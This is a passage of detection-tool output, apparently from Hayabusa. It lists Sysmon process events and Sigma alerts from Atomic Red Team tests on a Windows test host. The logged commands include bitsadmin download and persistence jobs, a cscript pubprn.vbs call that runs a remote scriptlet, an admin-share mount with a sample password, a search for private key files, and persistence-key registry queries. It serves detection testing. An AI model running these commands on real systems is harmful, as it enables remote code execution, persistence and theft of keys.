powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.660 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bitsadmin.exe /create AtomicBITS : Path: C:\Windows\System32\bitsadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /create AtomicBITS""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.799 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /addfile AtomicBITS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Windows\Temp\bitsadmin_flag.ps1"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.799 +09:00,MSEDGEWIN10,1,medium,Monitoring For Persistence Via BITS,,rules/sigma/process_creation/win_monitoring_for_persistence_via_bits.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.807 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bitsadmin.exe /addfile AtomicBITS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Windows\Temp\bitsadmin_flag.ps1 : Path: C:\Windows\System32\bitsadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /addfile AtomicBITS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Windows\Temp\bitsadmin_flag.ps1""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.807 +09:00,MSEDGEWIN10,1,medium,Bitsadmin Download,,rules/sigma/process_creation/win_process_creation_bitsadmin_download.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.807 +09:00,MSEDGEWIN10,1,medium,Monitoring For Persistence Via BITS,,rules/sigma/process_creation/win_monitoring_for_persistence_via_bits.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.900 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /setnotifycmdline AtomicBITS C:\Windows\system32\notepad.exe C:\Windows\Temp\bitsadmin_flag.ps1"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.917 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bitsadmin.exe /setnotifycmdline AtomicBITS C:\Windows\system32\notepad.exe C:\Windows\Temp\bitsadmin_flag.ps1 : Path: C:\Windows\System32\bitsadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /setnotifycmdline AtomicBITS C:\Windows\system32\notepad.exe C:\Windows\Temp\bitsadmin_flag.ps1""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:31.012 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /complete AtomicBITS"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:31.041 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bitsadmin.exe /complete AtomicBITS : Path: C:\Windows\System32\bitsadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /complete AtomicBITS""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:31.134 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /resume AtomicBITS"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:31.157 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bitsadmin.exe /resume AtomicBITS : Path: C:\Windows\System32\bitsadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /resume AtomicBITS""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:31.240 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:36.834 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "" script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216/payloads/T1216.sct : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:36.882 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216/payloads/T1216.sct : Path: C:\Windows\System32\cscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "" script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216/payloads/T1216.sct",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:37.264 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:41.050 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""cmd.exe /c "" net use \\Target\C$ P@ssw0rd1 /u:DOMAIN\Administrator : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:41.085 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd.exe /c net use \\Target\C$ P@ssw0rd1 /u:DOMAIN\Administrator : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""cmd.exe /c "" net use \\Target\C$ P@ssw0rd1 /u:DOMAIN\Administrator",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:41.109 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: net use \\Target\C$ P@ssw0rd1 /u:DOMAIN\Administrator : Path: C:\Windows\System32\net.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd.exe /c net use \\Target\C$ P@ssw0rd1 /u:DOMAIN\Administrator,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:41.109 +09:00,MSEDGEWIN10,1,medium,Mounted Windows Admin Shares with net.exe,,rules/sigma/process_creation/win_net_use_admin_share.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:46.238 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:57.466 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""echo "" ""ATOMICREDTEAM > %%windir%%\cert.key"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:57.524 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""dir c:\ /b /s .key | findstr /e .key"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:57.524 +09:00,MSEDGEWIN10,1,medium,Discover Private Keys,,rules/sigma/process_creation/process_creation_discover_private_keys.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:57.557 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /S /D /c"" dir c:\ /b /s .key "" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""dir c:\ /b /s .key | findstr /e .key""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:57.557 +09:00,MSEDGEWIN10,1,medium,Discover Private Keys,,rules/sigma/process_creation/process_creation_discover_private_keys.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:57.570 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: findstr /e .key : Path: C:\Windows\System32\findstr.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""dir c:\ /b /s .key | findstr /e .key""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:57.570 +09:00,MSEDGEWIN10,1,medium,Discover Private Keys,,rules/sigma/process_creation/process_creation_discover_private_keys.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:31.690 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.150 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.180 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.180 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.227 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.249 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.249 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.304 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.335 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.335 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.389 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.413 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.413 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.463 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.497 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.497 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.551 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.585 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.585 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.660 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.678 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.678 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.728 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.743 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.743 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.789 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.807 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.807 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.850 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.868 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.868 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.921 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.937 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.937 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.975 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.990 